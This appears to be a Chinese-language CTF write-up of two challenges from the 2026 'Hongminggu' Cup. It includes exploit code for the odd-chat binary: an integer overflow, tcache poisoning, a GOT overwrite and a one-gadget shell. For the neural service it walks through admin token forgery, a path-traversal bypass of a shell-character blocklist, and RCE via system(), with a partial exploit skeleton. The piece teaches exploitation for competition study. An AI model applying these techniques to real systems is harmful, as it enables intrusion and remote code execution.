2026数字中国创新大赛数字安全赛道暨 三明市第六届“红明谷”杯 pwn 2/2
字数 3049
更新时间 2026-04-02 14:34:18

2026数字中国创新大赛“红明谷”杯Pwn与Neural题目详解与利用教学

目录

  1. 题目概述
  2. 第一题:odd-chat(Pwn)详细解析
  3. 第二题:neural(混合题型)详细解析
  4. 总结与拓展思路

1. 题目概述

本次教学文档基于2026数字中国创新大赛数字安全赛道暨三明市第六届“红明谷”杯的两道题目:

  • odd-chat:传统Pwn题目,考察整数溢出和堆利用
  • neural:结合Web和二进制安全的混合题型,考察协议分析、权限绕过和RCE

两道题目都涉及实际场景中的安全漏洞,需要综合运用逆向工程、漏洞利用和协议分析能力。


2. 第一题:odd-chat(Pwn)详细解析

2.1 程序功能分析

odd-chat是一个聊天程序,主要功能包括:

  • 用户设置名称
  • 添加聊天记录
  • 清理聊天记录
  • 重命名用户

2.2 核心漏洞:整数溢出导致堆溢出

2.2.1 漏洞位置

add1()函数中,存在以下关键代码:

v1 = (int)abs32(getnum()) % 24;
v2 = sub_400AD9(::chunk_p, v1);

2.2.2 漏洞原理

这是经典的32位有符号整数溢出漏洞:

  1. 当传入-2147483648INT_MIN,0x80000000)时
  2. abs(-2147483648)的结果由于补码表示特性,仍然是-2147483648
  3. -2147483648 % 24的结果为-8
  4. 这个负数传递给底层读取函数(接收size_t无符号整数)时,会被转换为极大的正数0xFFFFFFFFFFFFFFF8
  5. 彻底绕过24字节的长度限制,导致堆溢出

2.3 利用流程拆解

阶段一:堆风水布置(Heap Layout)

chat(8, encode_for_chat(b'/bin/sh'))
chat(8, encode_for_chat(b'aaaaaaaa'))
chat(8, encode_for_chat(b'aaaaaaaa'))
clear_chat()
  • 分配三个大小为8的chunk
  • 调用clear_chat()释放它们,放入tcache链表

阶段二:触发溢出与Tcache投毒

overflow = b"C" * 0x20 + encode_for_chat(p64(0)+p64(0x31)+p64(0x00000000006020F0))
chat(-2147483648, overflow)
  • 使用-2147483648触发整数溢出
  • 填充32个'C'覆盖当前chunk
  • 溢出到相邻空闲chunk,覆盖其header和fd指针
  • 将fd指针指向.bss段的全局变量name指针地址(0x6020F0)

阶段三:任意地址写(Arbitrary Write)

chat(8, encode_for_chat(b'/bin/sh'))
chat(8, encode_for_chat(p64(elf.got['free'])))
  1. 第一次申请:取出被篡改前的正常chunk
  2. 第二次申请:根据tcache的LIFO机制,从伪造的地址0x6020F0分配内存
  3. .bss段写入free@GOT地址
  4. 结果:全局指针name指向free函数的GOT表项

阶段四:地址泄露(Information Leak)

ru('[#11] User: ')
lb = uu64(rc(6)) - libc.symbols['free']
  • 程序打印聊天记录时输出User: %s,跟随name指针内容
  • 此时name指向free@GOT,泄露free函数在libc中的真实地址
  • 计算libc基地址

阶段五:GOT表劫持与Get Shell

sla(">>", str(2))
sla('name: ', p64(lb + 0x10a2fc))
clear_chat()
  1. 调用rename()函数(选项2)
  2. fgets((char *)name, 48, stdin)free@GOT写入数据
  3. 写入one-gadget地址(lb + 0x10a2fc
  4. 调用clear_chat()触发free(),实际执行one-gadget获取shell

2.4 魔改TEA加解密处理

题目使用了魔改的TEA加密,需要实现对应的加密解密函数:

def tea_encrypt_block(block8):
    assert len(block8) == 8
    v0 = u32(block8[:4])
    v1 = u32(block8[4:])
    acc = 0
    for _ in range(TEA_ROUNDS):
        v0 = (v0 + (((v1 << 4) + TEA_KEY) ^ (v1 + acc) ^ ((v1 >> 5) + TEA_KEY))) & MASK32
        acc = (acc + TEA_DELTA) & MASK32
        v1 = (v1 + (((v0 << 4) + TEA_KEY) ^ (v0 + acc) ^ ((v0 >> 5) + TEA_KEY))) & MASK32
    return p32(v0) + p32(v1)

3. 第二题:neural(混合题型)详细解析

3.1 题目环境与架构

  • 前端:Python Flask应用(app.py)
  • 后端:C语言引擎,通过Unix Socket通信
  • 考察点:协议分析、权限绕过、RCE

3.2 前端分析(app.py)

3.2.1 通信协议

前端与后端通过Unix Socket通信,协议格式:

[4字节长度][1字节命令码][Payload]

其中:

  • 长度:小端序,包含命令码和Payload的总长度+4
  • 命令码:指定操作类型
  • Payload:实际数据

关键函数send_to_engine

def send_to_engine(command, payload=b''):
    total_len = 5 + len(payload)
    msg = struct.pack('<I', total_len) + bytes([command]) + payload

3.2.2 未过滤的透传接口

发现/api/raw接口:

@app.route('/api/raw')
def api_raw():
    # 可透传任意二进制数据到后端引擎

此接口允许将自定义构造的二进制包直接发送到后端C引擎。

3.2.3 文件上传点

/api/knowledge/upload接口允许上传任意文件到服务器,为后续投递恶意文件提供条件。

3.3 后端引擎逆向分析

3.3.1 RCE漏洞发现

在IDA分析中:

  1. 在PLT表中发现system函数
  2. 定位到load_ncml_model函数
  3. 发现当解析.ncm模型文件时,如果遇到Type = 5的数据块:
    • 将数据拷贝到全局变量p_command
    • 通过validate_hook校验后
    • 执行system(&p_command)

3.3.2 管理员功能

handle_admin函数处理CMD_ADMIN (0xFF)命令:

  • sub_cmd = 2:重新加载指定的模型文件
  • 结合RCE漏洞,可实现远程代码执行

3.4 权限绕过技术

3.4.1 管理员令牌验证

verify_admin_token函数(符号表未抹除):

_BOOL8 verify_admin_token(int p_g_pwn_1, char p_g_pwna_1, __int64 p_g_pwn, 
                          unsigned int n4, const void *s2_1)
{
    time_t v12 = time(0);
    int n60 = v12 - p_g_pwn_1;
    if ((int)v12 - p_g_pwn_1 <= 0)
        n60 = p_g_pwn_1 - v12;
    if (n60 > 60)  // 60秒过期机制
        return 0;
    
    // SHA256哈希计算
    SHA256_Init(v13);
    SHA256_Update(v13, &p_g_pwn_4, 4);
    SHA256_Update(v13, &p_g_pwna, 1);
    if (n4 && p_g_pwn)
        SHA256_Update(v13, p_g_pwn, n4);
    SHA256_Update(v13, &g_pwn, 16);
    SHA256_Final(s1, v13);
    
    return memcmp(s1, s2_1, 0x20u) == 0;
}

关键点

  1. 时间校验:令牌60秒内有效
  2. 本地可通过docker命令获取相关参数
  3. 远程需要爆破微调时间戳

3.4.2 路径绕过(validate_hook)

__int64 validate_hook(const char *p_command)
{
    if (!strncmp(p_command, "/opt/neuralchat/plugins/", 0x18u))
    {
        // 检查禁止字符:;|&`$><(){}[]!#\n
        for (p_command_1 = p_command; *p_command_1; ++p_command_1)
        {
            for (p___&_$__()__[]____n = ";|&`$><(){}[]!#\n"; 
                 *p___&_$__()__[]____n; ++p___&_$__()__[]____n)
            {
                if ((_BYTE)v6 == *p___&_$__()__[]____n)
                    return 0xFFFFFFFFLL;
            }
        }
        return 0;
    }
    else
    {
        return 0xFFFFFFFFLL;
    }
}

绕过方法

  • 要求命令以/opt/neuralchat/plugins/开头
  • 使用目录穿越:/opt/neuralchat/plugins/../../../绕过路径限制
  • 注意避开禁止字符列表

3.5 完整利用链构建

步骤1:获取管理员权限

  1. 通过/api/knowledge/upload上传恶意模型文件
  2. 利用时间窗口爆破或本地获取令牌参数
  3. 构造管理员令牌,通过verify_admin_token验证

步骤2:加载恶意模型

  1. 通过handle_admin函数的sub_cmd=2加载模型
  2. 模型包含Type=5的数据块,其中包含要执行的命令
  3. 命令需要以/opt/neuralchat/plugins/开头,可使用路径穿越

步骤3:RCE执行

  1. load_ncml_model解析恶意模型
  2. 将命令数据拷贝到p_command
  3. 通过validate_hook校验(已被绕过)
  4. 执行system(&p_command)获得RCE

3.6 利用脚本关键部分

import requests
import struct
import hashlib
import time

def calc_admin_key(pid, start_time):
    MASK32 = 0xFFFFFFFF
    v4 = (((73244475 * pid) & MASK32) ^ 
          ((295559667 * start_time) & MASK32)) & MASK32
    g_pwn = bytearray(16)
    
    for n15 in range(16):
        # 计算g_pwn数组
        pass
    
    return g_pwn

def forge_admin_token(timestamp, command_data):
    # 构造符合验证的令牌
    pass

def send_rce_command(cmd):
    # 构造恶意模型文件
    model_data = construct_malicious_model(cmd)
    
    # 上传模型
    upload_model(model_data)
    
    # 获取管理员权限
    token = get_admin_token()
    
    # 通过admin命令加载模型
    admin_cmd = struct.pack('<BI', 0xFF, 2) + model_name.encode()
    send_raw_packet(admin_cmd, token)
    
    # 触发RCE
    trigger_model_loading()

4. 总结与拓展思路

4.1 odd-chat题目要点

  1. 整数溢出abs(INT_MIN)的边界情况
  2. 堆布局:tcache的LIFO特性利用
  3. 任意地址写:通过堆溢出篡改tcache的fd指针
  4. 信息泄露:利用程序输出功能泄露libc地址
  5. GOT劫持:通过重命名功能覆盖GOT表

4.2 neural题目要点

  1. 协议分析:二进制协议格式解析
  2. 接口滥用:未过滤的透传接口利用
  3. 文件上传:恶意文件投递
  4. 权限绕过:时间令牌和路径校验绕过
  5. RCE链:多步骤组合利用达成代码执行

4.3 防御建议

  1. 输入验证:对所有输入进行严格的边界检查
  2. 整数安全:使用安全整数运算库
  3. 堆保护:启用现代堆保护机制(如FORTIFY_SOURCE)
  4. 权限分离:最小权限原则,避免不必要的system调用
  5. 路径校验:使用规范化路径,防止目录穿越
  6. 令牌安全:使用强随机数和合适的过期机制

4.4 学习价值

这两道题目涵盖了CTF比赛中常见的漏洞类型和利用技术:

  • 传统二进制漏洞(整数溢出、堆溢出)
  • 现代混合题型(Web+二进制)
  • 协议分析和逆向工程
  • 多步骤利用链构建
  • 权限绕过和提权技术

通过深入理解这些漏洞的原理和利用方法,可以有效提升二进制安全分析和漏洞利用能力。

相似文章
相似文章
 全屏